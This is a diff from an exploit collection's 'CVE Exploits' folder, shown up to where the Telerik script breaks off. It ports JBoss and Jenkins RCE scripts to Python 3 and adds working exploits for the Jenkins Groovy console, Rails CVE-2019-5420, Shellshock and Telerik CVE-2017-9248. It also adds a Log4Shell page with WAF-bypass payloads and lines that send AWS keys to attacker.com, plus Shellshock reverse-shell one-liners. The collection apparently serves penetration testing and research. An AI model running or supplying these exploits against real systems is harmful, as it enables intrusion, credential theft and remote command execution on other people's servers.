||||
|
|
|
|||
|
|
@ -3,6 +3,7 @@
|
|||
# Jboss Java Deserialization RCE (CVE-2015-7501)
|
||||
# Made with <3 by @byt3bl33d3r
|
||||
|
||||
from __future__ import print_function
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
|
@ -36,26 +37,26 @@ else:
|
|||
ysoserial_path = args.ysoserial_path
|
||||
|
||||
if ysoserial_path is None:
|
||||
print '[-] Could not find ysoserial JAR file'
|
||||
print('[-] Could not find ysoserial JAR file')
|
||||
sys.exit(1)
|
||||
|
||||
if len(args.target.split(":")) != 2:
|
||||
print '[-] Target must be in format IP:PORT'
|
||||
print('[-] Target must be in format IP:PORT')
|
||||
sys.exit(1)
|
||||
|
||||
if not args.command:
|
||||
print '[-] You must specify a command to run'
|
||||
print('[-] You must specify a command to run')
|
||||
sys.exit(1)
|
||||
|
||||
ip, port = args.target.split(':')
|
||||
|
||||
print '[*] Target IP: {}'.format(ip)
|
||||
print '[*] Target PORT: {}'.format(port)
|
||||
print('[*] Target IP: {}'.format(ip))
|
||||
print('[*] Target PORT: {}'.format(port))
|
||||
|
||||
gadget = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections1', args.command])
|
||||
|
||||
r = requests.post('{}://{}:{}/invoker/JMXInvokerServlet'.format(args.proto, ip, port), verify=False, data=gadget)
|
||||
|
||||
if r.status_code == 200:
|
||||
print '[+] Command executed successfully'
|
||||
print('[+] Command executed successfully')
|
||||
|
||||
|
|
|
|||
File diff suppressed because one or more lines are too long
|
|
@ -4,6 +4,7 @@
|
|||
#Note: Although this is listed as a pre-auth RCE, during my testing it only worked if authentication was disabled in Jenkins
|
||||
#Made with <3 by @byt3bl33d3r
|
||||
|
||||
from __future__ import print_function
|
||||
import requests
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
|
@ -23,17 +24,17 @@ if len(sys.argv) < 2:
|
|||
args = parser.parse_args()
|
||||
|
||||
if len(args.target.split(':')) != 2:
|
||||
print '[-] Target must be in format IP:PORT'
|
||||
print('[-] Target must be in format IP:PORT')
|
||||
sys.exit(1)
|
||||
|
||||
if not args.command:
|
||||
print '[-] You must specify a command to run'
|
||||
print('[-] You must specify a command to run')
|
||||
sys.exit(1)
|
||||
|
||||
ip, port = args.target.split(':')
|
||||
|
||||
print '[*] Target IP: {}'.format(ip)
|
||||
print '[*] Target PORT: {}'.format(port)
|
||||
print('[*] Target IP: {}'.format(ip))
|
||||
print('[*] Target PORT: {}'.format(port))
|
||||
|
||||
xml_formatted = ''
|
||||
command_list = args.command.split()
|
||||
|
|
@ -67,11 +68,11 @@ xml_payload = '''<map>
|
|||
</entry>
|
||||
</map>'''.format(xml_formatted.strip())
|
||||
|
||||
print '[*] Generated XML payload:'
|
||||
print xml_payload
|
||||
print
|
||||
print('[*] Generated XML payload:')
|
||||
print(xml_payload)
|
||||
print()
|
||||
|
||||
print '[*] Sending payload'
|
||||
print('[*] Sending payload')
|
||||
headers = {'Content-Type': 'text/xml'}
|
||||
r = requests.post('{}://{}:{}/createItem?name=rand_dir'.format(args.proto, ip, port), verify=False, headers=headers, data=xml_payload)
|
||||
|
||||
|
|
@ -79,5 +80,5 @@ paths_in_trace = ['jobs/rand_dir/config.xml', 'jobs\\rand_dir\\config.xml']
|
|||
if r.status_code == 500:
|
||||
for path in paths_in_trace:
|
||||
if path in r.text:
|
||||
print '[+] Command executed successfully'
|
||||
print('[+] Command executed successfully')
|
||||
break
|
||||
|
|
|
|||
32
CVE Exploits/Jenkins Groovy Console.py
Normal file
32
CVE Exploits/Jenkins Groovy Console.py
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
#!/usr/bin/env python
|
||||
# SRC: https://raw.githubusercontent.com/bl4de/security-tools/master/jgc.py
|
||||
# DOC: https://medium.com/@_bl4de/remote-code-execution-with-groovy-console-in-jenkins-bd6ef55c285b
|
||||
from __future__ import print_function
|
||||
from builtins import input
|
||||
import requests
|
||||
import sys
|
||||
|
||||
print("""
|
||||
Jenkins Groovy Console cmd runner.
|
||||
|
||||
usage: ./jgc.py [HOST]
|
||||
|
||||
Then type any command and wait for STDOUT output from remote machine.
|
||||
Type 'exit' to exit :)
|
||||
""")
|
||||
URL = sys.argv[1] + '/scriptText'
|
||||
HEADERS = {
|
||||
'User-Agent': 'jgc'
|
||||
}
|
||||
|
||||
while 1:
|
||||
CMD = input(">> Enter command to execute (or type 'exit' to exit): ")
|
||||
if CMD == 'exit':
|
||||
print("exiting...\n")
|
||||
exit(0)
|
||||
|
||||
DATA = {
|
||||
'script': 'println "{}".execute().text'.format(CMD)
|
||||
}
|
||||
result = requests.post(URL, headers=HEADERS, data=DATA)
|
||||
print(result.text)
|
||||
107
CVE Exploits/Log4Shell.md
Normal file
107
CVE Exploits/Log4Shell.md
Normal file
|
|
@ -0,0 +1,107 @@
|
|||
# CVE-2021-44228 Log4Shell
|
||||
|
||||
> Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled
|
||||
|
||||
## Summary
|
||||
|
||||
* [Vulnerable code](#vulnerable-code)
|
||||
* [Payloads](#payloads)
|
||||
* [Scanning](#scanning)
|
||||
* [WAF Bypass](#waf-bypass)
|
||||
* [Exploitation](#exploitation)
|
||||
* [Environment variables exfiltration](#environment-variables-exfiltration)
|
||||
* [Remote Command Execution](#remote-command-execution)
|
||||
* [References](#references)
|
||||
|
||||
## Vulnerable code
|
||||
|
||||
You can reproduce locally with: `docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app` using [christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app) or [leonjza/log4jpwn](
|
||||
https://github.com/leonjza/log4jpwn)
|
||||
|
||||
```java
|
||||
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
|
||||
logger.info("Received a request for API version " + apiVersion);
|
||||
return "Hello, world!";
|
||||
}
|
||||
```
|
||||
|
||||
## Payloads
|
||||
|
||||
```bash
|
||||
# Identify Java version and hostname
|
||||
${jndi:ldap://${java:version}.domain/a}
|
||||
${jndi:ldap://${env:JAVA_VERSION}.domain/a}
|
||||
${jndi:ldap://${sys:java.version}.domain/a}
|
||||
${jndi:ldap://${sys:java.vendor}.domain/a}
|
||||
${jndi:ldap://${hostName}.domain/a}
|
||||
${jndi:dns://${hostName}.domain}
|
||||
|
||||
# More enumerations keywords and variables
|
||||
java:os
|
||||
docker:containerId
|
||||
web:rootDir
|
||||
bundle:config:db.password
|
||||
```
|
||||
|
||||
## Scanning
|
||||
|
||||
* [log4j-scan](https://github.com/fullhunt/log4j-scan)
|
||||
|
||||
```powershell
|
||||
usage: log4j-scan.py [-h] [-u URL] [-l USEDLIST] [--request-type REQUEST_TYPE] [--headers-file HEADERS_FILE] [--run-all-tests] [--exclude-user-agent-fuzzing]
|
||||
[--wait-time WAIT_TIME] [--waf-bypass] [--dns-callback-provider DNS_CALLBACK_PROVIDER] [--custom-dns-callback-host CUSTOM_DNS_CALLBACK_HOST]
|
||||
python3 log4j-scan.py -u http://127.0.0.1:8081 --run-all-test
|
||||
python3 log4j-scan.py -u http://127.0.0.1:808 --waf-bypass
|
||||
```
|
||||
|
||||
* [Nuclei Template](https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/master/cves/2021/CVE-2021-44228.yaml)
|
||||
|
||||
## WAF Bypass
|
||||
|
||||
```powershell
|
||||
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1389/a}
|
||||
|
||||
# using lower and upper
|
||||
${${lower:jndi}:${lower:rmi}://127.0.0.1:1389/poc}
|
||||
${j${loWer:Nd}i${uPper::}://127.0.0.1:1389/poc}
|
||||
${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}
|
||||
|
||||
# using env to create the letter
|
||||
${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//your.burpcollaborator.net/a}
|
||||
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
|
||||
```
|
||||
|
||||
## Exploitation
|
||||
|
||||
### Environment variables exfiltration
|
||||
|
||||
```powershell
|
||||
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/
|
||||
|
||||
# AWS Access Key
|
||||
${jndi:ldap://${env:USER}.${env:USERNAME}.attacker.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}
|
||||
```
|
||||
|
||||
### Remote Command Execution
|
||||
|
||||
* [rogue-jndi - @artsploit](https://github.com/artsploit/rogue-jndi)
|
||||
|
||||
```ps1
|
||||
java -jar target/RogueJndi-1.1.jar --command "touch /tmp/toto" --hostname "192.168.1.21"
|
||||
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
|
||||
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
|
||||
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
|
||||
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
|
||||
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
|
||||
```
|
||||
|
||||
* [JNDI-Exploit-Kit - @pimps](https://github.com/pimps/JNDI-Exploit-Kit)
|
||||
|
||||
## References
|
||||
|
||||
* [Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package - December 12, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day/)
|
||||
* [Log4Shell Update: Second log4j Vulnerability Published (CVE-2021-44228 + CVE-2021-45046) - December 14, 2021](https://www.lunasec.io/docs/blog/log4j-zero-day-update-on-cve-2021-45046/)
|
||||
* [PSA: Log4Shell and the current state of JNDI injection - December 10, 2021](https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/)
|
||||
|
|
@ -1,16 +1,85 @@
|
|||
# Common Vulnerabilities and Exposures
|
||||
Big CVEs in the last 5 years.
|
||||
|
||||
## CVE-2014-0160 - Heartbleed
|
||||
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
|
||||
> A CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to a publicly known cybersecurity vulnerability. CVEs help standardize the naming and tracking of vulnerabilities, making it easier for organizations, security professionals, and software vendors to share information and manage risks associated with these vulnerabilities. Each CVE entry includes a brief description of the vulnerability, its potential impact, and details about affected software or systems.
|
||||
|
||||
## CVE-2014-6271 - Shellshock
|
||||
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
|
||||
## Summary
|
||||
|
||||
* [Tools](#tools)
|
||||
* [Big CVEs in the last 15 years](#big-cves-in-the-last-15-years)
|
||||
* [CVE-2017-0144 - EternalBlue](#cve-2017-0144---eternalblue)
|
||||
* [CVE-2017-5638 - Apache Struts 2](#cve-2017-5638---apache-struts-2)
|
||||
* [CVE-2018-7600 - Drupalgeddon 2](#cve-2018-7600---drupalgeddon-2)
|
||||
* [CVE-2019-0708 - BlueKeep](#cve-2019-0708---bluekeep)
|
||||
* [CVE-2019-19781 - Citrix ADC Netscaler](#cve-2019-19781---citrix-adc-netscaler)
|
||||
* [CVE-2014-0160 - Heartbleed](#cve-2014-0160---heartbleed)
|
||||
* [CVE-2014-6271 - Shellshock](#cve-2014-6271---shellshock)
|
||||
* [References](#references)
|
||||
|
||||
## Tools
|
||||
|
||||
* [Trickest CVE Repository - Automated collection of CVEs and PoC's](https://github.com/trickest/cve)
|
||||
* [Nuclei Templates - Community curated list of templates for the nuclei engine to find security vulnerabilities in applications](https://github.com/projectdiscovery/nuclei-templates)
|
||||
* [Metasploit Framework](https://github.com/rapid7/metasploit-framework)
|
||||
* [CVE Details - The ultimate security vulnerability datasource](https://www.cvedetails.com)
|
||||
|
||||
## Big CVEs in the last 15 years
|
||||
|
||||
### CVE-2017-0144 - EternalBlue
|
||||
|
||||
EternalBlue exploits a vulnerability in Microsoft's implementation of the Server Message Block (SMB) protocol. The vulnerability exists because the SMB version 1 (SMBv1) server in various versions of Microsoft Windows mishandles specially crafted packets from remote attackers, allowing them to execute arbitrary code on the target computer.
|
||||
|
||||
Afftected systems:
|
||||
|
||||
* Windows Vista SP2
|
||||
* Windows Server 2008 SP2 and R2 SP1
|
||||
* Windows 7 SP1
|
||||
* Windows 8.1
|
||||
* Windows Server 2012 Gold and R2
|
||||
* Windows RT 8.1
|
||||
* Windows 10 Gold, 1511, and 1607
|
||||
* Windows Server 2016
|
||||
|
||||
### CVE-2017-5638 - Apache Struts 2
|
||||
|
||||
## CVE-2017-5638 - Apache Struts 2
|
||||
On March 6th, a new remote code execution (RCE) vulnerability in Apache Struts 2 was made public. This recent vulnerability, CVE-2017-5638, allows a remote attacker to inject operating system commands into a web application through the “Content-Type” header.
|
||||
|
||||
## Thanks to
|
||||
* http://heartbleed.com
|
||||
* https://en.wikipedia.org/wiki/Shellshock_(software_bug)
|
||||
### CVE-2018-7600 - Drupalgeddon 2
|
||||
|
||||
A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.
|
||||
|
||||
### CVE-2019-0708 - BlueKeep
|
||||
|
||||
A remote code execution vulnerability exists in Remote Desktop Services – formerly known as Terminal Services – when an unauthenticated attacker connects to the target system using RDP and sends specially crafted requests. This vulnerability is pre-authentication and requires no user interaction. An attacker who successfully exploited this vulnerability could execute arbitrary code on the target system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.
|
||||
|
||||
### CVE-2019-19781 - Citrix ADC Netscaler
|
||||
|
||||
A remote code execution vulnerability in Citrix Application Delivery Controller (ADC) formerly known as NetScaler ADC and Citrix Gateway formerly known as NetScaler Gateway that, if exploited, could allow an unauthenticated attacker to perform arbitrary code execution.
|
||||
|
||||
Affected products:
|
||||
|
||||
* Citrix ADC and Citrix Gateway version 13.0 all supported builds
|
||||
* Citrix ADC and NetScaler Gateway version 12.1 all supported builds
|
||||
* Citrix ADC and NetScaler Gateway version 12.0 all supported builds
|
||||
* Citrix ADC and NetScaler Gateway version 11.1 all supported builds
|
||||
* Citrix NetScaler ADC and NetScaler Gateway version 10.5 all supported builds
|
||||
|
||||
### CVE-2014-0160 - Heartbleed
|
||||
|
||||
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
|
||||
|
||||
### CVE-2014-6271 - Shellshock
|
||||
|
||||
Shellshock, also known as Bashdoor is a family of security bug in the widely used Unix Bash shell, the first of which was disclosed on 24 September 2014. Many Internet-facing services, such as some web server deployments, use Bash to process certain requests, allowing an attacker to cause vulnerable versions of Bash to execute arbitrary commands. This can allow an attacker to gain unauthorized access to a computer system.
|
||||
|
||||
```powershell
|
||||
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 10.0.0.2 4444 -e /bin/sh\r\n"
|
||||
curl --silent -k -H "User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.0.0.2/4444 0>&1" "https://10.0.0.1/cgi-bin/admin.cgi"
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [Heartbleed - Official website](http://heartbleed.com)
|
||||
* [Shellshock - Wikipedia](https://en.wikipedia.org/wiki/Shellshock_(software_bug))
|
||||
* [Imperva Apache Struts analysis](https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
|
||||
* [EternalBlue - Wikipedia](https://en.wikipedia.org/wiki/EternalBlue)
|
||||
* [BlueKeep - Microsoft](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)
|
||||
|
|
|
|||
156
CVE Exploits/Rails CVE-2019-5420.rb
Normal file
156
CVE Exploits/Rails CVE-2019-5420.rb
Normal file
|
|
@ -0,0 +1,156 @@
|
|||
require 'erb'
|
||||
require "./demo-5.2.1/config/environment"
|
||||
require "base64"
|
||||
require 'net/http'
|
||||
|
||||
$proxy_addr = '127.0.0.1'
|
||||
$proxy_port = 8080
|
||||
|
||||
$remote = "http://172.18.0.3:3000"
|
||||
$ressource = "/demo"
|
||||
|
||||
puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n"
|
||||
|
||||
print "[+] Checking if vulnerable to CVE-2019-5418 => "
|
||||
uri = URI($remote + $ressource)
|
||||
req = Net::HTTP::Get.new(uri)
|
||||
req['Accept'] = "../../../../../../../../../../etc/passwd{{"
|
||||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||
http.request(req)
|
||||
}
|
||||
if res.body.include? "root:x:0:0:root:"
|
||||
puts "\033[92mOK\033[0m"
|
||||
else
|
||||
puts "KO"
|
||||
abort
|
||||
end
|
||||
|
||||
print "[+] Getting file => credentials.yml.enc => "
|
||||
path = "../../../../../../../../../../config/credentials.yml.enc{{"
|
||||
for $i in 0..9
|
||||
uri = URI($remote + $ressource)
|
||||
req = Net::HTTP::Get.new(uri)
|
||||
req['Accept'] = path[3..57]
|
||||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||
http.request(req)
|
||||
}
|
||||
if res.code == "200"
|
||||
puts "\033[92mOK\033[0m"
|
||||
File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) }
|
||||
break
|
||||
end
|
||||
path = path[3..57]
|
||||
$i +=1;
|
||||
end
|
||||
|
||||
print "[+] Getting file => master.key => "
|
||||
path = "../../../../../../../../../../config/master.key{{"
|
||||
for $i in 0..9
|
||||
uri = URI($remote + $ressource)
|
||||
req = Net::HTTP::Get.new(uri)
|
||||
req['Accept'] = path[3..57]
|
||||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||
http.request(req)
|
||||
}
|
||||
if res.code == "200"
|
||||
puts "\033[92mOK\033[0m"
|
||||
File.open("master.key", 'w') { |file| file.write(res.body) }
|
||||
break
|
||||
end
|
||||
path = path[3..57]
|
||||
$i +=1;
|
||||
end
|
||||
|
||||
print "[+] Decrypt secret_key_base => "
|
||||
credentials_config_path = File.join("../", "credentials.yml.enc")
|
||||
credentials_key_path = File.join("../", "master.key")
|
||||
ENV["RAILS_MASTER_KEY"] = res.body
|
||||
credentials = ActiveSupport::EncryptedConfiguration.new(
|
||||
config_path: Rails.root.join(credentials_config_path),
|
||||
key_path: Rails.root.join(credentials_key_path),
|
||||
env_key: "RAILS_MASTER_KEY",
|
||||
raise_if_missing_key: true
|
||||
)
|
||||
if credentials.secret_key_base != nil
|
||||
puts "\033[92mOK\033[0m"
|
||||
puts ""
|
||||
puts "secret_key_base": credentials.secret_key_base
|
||||
puts ""
|
||||
end
|
||||
|
||||
puts "[+] Getting reflective command (R) or reverse shell (S) => "
|
||||
loop do
|
||||
begin
|
||||
input = [(print 'Select option R or S: '), gets.rstrip][1]
|
||||
if input == "R"
|
||||
puts "Reflective command selected"
|
||||
command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1]
|
||||
elsif input == "S"
|
||||
puts "Reverse shell selected"
|
||||
command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1]
|
||||
else
|
||||
puts "No option selected"
|
||||
abort
|
||||
end
|
||||
|
||||
command_b64 = Base64.encode64(command)
|
||||
|
||||
print "[+] Generating payload CVE-2019-5420 => "
|
||||
secret_key_base = credentials.secret_key_base
|
||||
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
|
||||
secret = key_generator.generate_key("ActiveStorage")
|
||||
verifier = ActiveSupport::MessageVerifier.new(secret)
|
||||
if input == "R"
|
||||
code = "system('bash','-c','" + command + " > /tmp/result.txt')"
|
||||
else
|
||||
code = "system('bash','-c','" + command + "')"
|
||||
end
|
||||
erb = ERB.allocate
|
||||
erb.instance_variable_set :@src, code
|
||||
erb.instance_variable_set :@filename, "1"
|
||||
erb.instance_variable_set :@lineno, 1
|
||||
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
|
||||
|
||||
puts "\033[92mOK\033[0m"
|
||||
puts ""
|
||||
url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test"
|
||||
puts url
|
||||
puts ""
|
||||
|
||||
print "[+] Sending request => "
|
||||
uri = URI(url)
|
||||
req = Net::HTTP::Get.new(uri)
|
||||
req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
|
||||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||
http.request(req)
|
||||
}
|
||||
if res.code == "500"
|
||||
puts "\033[92mOK\033[0m"
|
||||
else
|
||||
puts "KO"
|
||||
abort
|
||||
end
|
||||
|
||||
if input == "R"
|
||||
print "[+] Getting result of command => "
|
||||
uri = URI($remote + $ressource)
|
||||
req = Net::HTTP::Get.new(uri)
|
||||
req['Accept'] = "../../../../../../../../../../tmp/result.txt{{"
|
||||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
|
||||
http.request(req)
|
||||
}
|
||||
if res.code == "200"
|
||||
puts "\033[92mOK\033[0m\n\n"
|
||||
puts res.body
|
||||
puts "\n"
|
||||
else
|
||||
puts "KO"
|
||||
abort
|
||||
end
|
||||
end
|
||||
|
||||
rescue Exception => e
|
||||
puts "Exiting..."
|
||||
abort
|
||||
end
|
||||
end
|
||||
18
CVE Exploits/Shellshock CVE-2014-6271.py
Executable file → Normal file
18
CVE Exploits/Shellshock CVE-2014-6271.py
Executable file → Normal file
|
|
@ -11,22 +11,26 @@
|
|||
# ..
|
||||
# ~$ /bin/cat /etc/passwd
|
||||
|
||||
import sys, urllib2
|
||||
from __future__ import print_function
|
||||
from future import standard_library
|
||||
standard_library.install_aliases()
|
||||
from builtins import input
|
||||
import sys, urllib.request, urllib.error, urllib.parse
|
||||
|
||||
if len(sys.argv) != 2:
|
||||
print "Usage: shell_shocker <URL>"
|
||||
print("Usage: shell_shocker <URL>")
|
||||
sys.exit(0)
|
||||
|
||||
URL=sys.argv[1]
|
||||
print "[+] Attempting Shell_Shock - Make sure to type full path"
|
||||
print("[+] Attempting Shell_Shock - Make sure to type full path")
|
||||
|
||||
while True:
|
||||
command=raw_input("~$ ")
|
||||
opener=urllib2.build_opener()
|
||||
command=input("~$ ")
|
||||
opener=urllib.request.build_opener()
|
||||
opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)]
|
||||
try:
|
||||
response=opener.open(URL)
|
||||
for line in response.readlines():
|
||||
print line.strip()
|
||||
except Exception as e: print e
|
||||
print(line.strip())
|
||||
except Exception as e: print(e)
|
||||
|
||||
|
|
|
|||
362
CVE Exploits/Telerik CVE-2017-9248.py
Normal file
362
CVE Exploits/Telerik CVE-2017-9248.py
Normal file
|
|
@ -0,0 +1,362 @@
|
|||
# Author: Paul Taylor / @bao7uo
|
||||
|
||||
# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
|
||||
|
||||
# dp_crypto - CVE-2017-9248 exploit
|
||||
# Telerik.Web.UI.dll Cryptographic compromise
|
||||
|
||||
# Warning - no cert warnings,
|
||||
# and verify = False in code below prevents verification
|
||||
|
||||
import sys
|
||||
import base64
|
||||
import requests
|
||||
import re
|
||||
import binascii
|
||||
import argparse
|
||||
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
requests_sent = 0
|
||||
char_requests = 0
|
||||
|
||||
|
||||
def getProxy(proxy):
|
||||
return { "http" : proxy, "https" : proxy }
|
||||
|
||||
|
||||
def get_result(plaintext, key, session, pad_chars):
|
||||
global requests_sent, char_requests
|
||||
|
||||
url = args.url
|
||||
base_pad = (len(key) % 4)
|
||||
base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
|
||||
dp_encrypted = base64.b64encode(
|
||||
(encrypt(plaintext, key) + base).encode()
|
||||
).decode()
|
||||
request = requests.Request('GET', url + '?dp=' + dp_encrypted)
|
||||
request = request.prepare()
|
||||
response = session.send(request, verify=False, proxies = getProxy(args.proxy))
|
||||
requests_sent += 1
|
||||
char_requests += 1
|
||||
|
||||
match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
|
||||
return True \
|
||||
if match is not None \
|
||||
and match.group(2) == args.oracle \
|
||||
else False
|
||||
|
||||
def test_keychar(keychar, found, session, pad_chars):
|
||||
base64chars = [
|
||||
"A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
|
||||
"D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
|
||||
"G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
|
||||
"J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
|
||||
"M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
|
||||
"P", "f", "v", "/"
|
||||
]
|
||||
|
||||
duff = False
|
||||
accuracy_thoroughness_threshold = args.accuracy
|
||||
for bc in range(int(accuracy_thoroughness_threshold)):
|
||||
# ^^ max is len(base64chars)
|
||||
sys.stdout.write("\b\b" + base64chars[bc] + "]")
|
||||
sys.stdout.flush()
|
||||
if not get_result(
|
||||
base64chars[0] * len(found) + base64chars[bc],
|
||||
found + keychar, session, pad_chars
|
||||
):
|
||||
duff = True
|
||||
break
|
||||
return False if duff else True
|
||||
|
||||
|
||||
def encrypt(dpdata, key):
|
||||
encrypted = []
|
||||
k = 0
|
||||
for i in range(len(dpdata)):
|
||||
encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
|
||||
k = 0 if k >= len(key) - 1 else k + 1
|
||||
return ''.join(str(e) for e in encrypted)
|
||||
|
||||
|
||||
def mode_decrypt():
|
||||
ciphertext = base64.b64decode(args.ciphertext).decode()
|
||||
key = args.key
|
||||
print(base64.b64decode(encrypt(ciphertext, key)).decode())
|
||||
print("")
|
||||
|
||||
|
||||
def mode_encrypt():
|
||||
plaintext = args.plaintext
|
||||
key = args.key
|
||||
|
||||
plaintext = base64.b64encode(plaintext.encode()).decode()
|
||||
print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
|
||||
print("")
|
||||
|
||||
|
||||
def test_keypos(key_charset, unprintable, found, session):
|
||||
pad_chars = ''
|
||||
for pad_char in range(256):
|
||||
pad_chars += chr(pad_char)
|
||||
|
||||
for i in range(len(pad_chars)):
|
||||
for k in range(len(key_charset)):
|
||||
keychar = key_charset[k]
|
||||
sys.stdout.write("\b"*6)
|
||||
sys.stdout.write(
|
||||
(
|
||||
keychar
|
||||
if unprintable is False
|
||||
else '+'
|
||||
) +
|
||||
") [" + (
|
||||
keychar
|
||||
if unprintable is False
|
||||
else '+'
|
||||
) +
|
||||
"]"
|
||||
)
|
||||
sys.stdout.flush()
|
||||
if test_keychar(keychar, found, session, pad_chars[i] * 3):
|
||||
return keychar
|
||||
return False
|
||||
|
||||
|
||||
def get_key(session):
|
||||
global char_requests
|
||||
found = ''
|
||||
unprintable = False
|
||||
|
||||
key_length = args.key_len
|
||||
key_charset = args.charset
|
||||
if key_charset == 'all':
|
||||
unprintable = True
|
||||
key_charset = ''
|
||||
for i in range(256):
|
||||
key_charset += chr(i)
|
||||
else:
|
||||
if key_charset == 'hex':
|
||||
key_charset = '01234567890ABCDEF'
|
||||
|
||||
print("Attacking " + args.url)
|
||||
print(
|
||||
"to find key of length [" +
|
||||
str(key_length) +
|
||||
"] with accuracy threshold [" +
|
||||
str(args.accuracy) +
|
||||
"]"
|
||||
)
|
||||
print(
|
||||
"using key charset [" +
|
||||
(
|
||||
key_charset
|
||||
if unprintable is False
|
||||
else '- all ASCII -'
|
||||
) +
|
||||
"]\n"
|
||||
)
|
||||
for i in range(int(key_length)):
|
||||
pos_str = (
|
||||
str(i + 1)
|
||||
if i > 8
|
||||
else "0" + str(i + 1)
|
||||
)
|
||||
sys.stdout.write("Key position " + pos_str + ": (------")
|
||||
sys.stdout.flush()
|
||||
keychar = test_keypos(key_charset, unprintable, found, session)
|
||||
if keychar is not False:
|
||||
found = found + keychar
|
||||
sys.stdout.write(
|
||||
"\b"*7 + "{" +
|
||||
(
|
||||
keychar
|
||||
if unprintable is False
|
||||
else '0x' + binascii.hexlify(keychar.encode()).decode()
|
||||
) +
|
||||
"} found with " +
|
||||
str(char_requests) +
|
||||
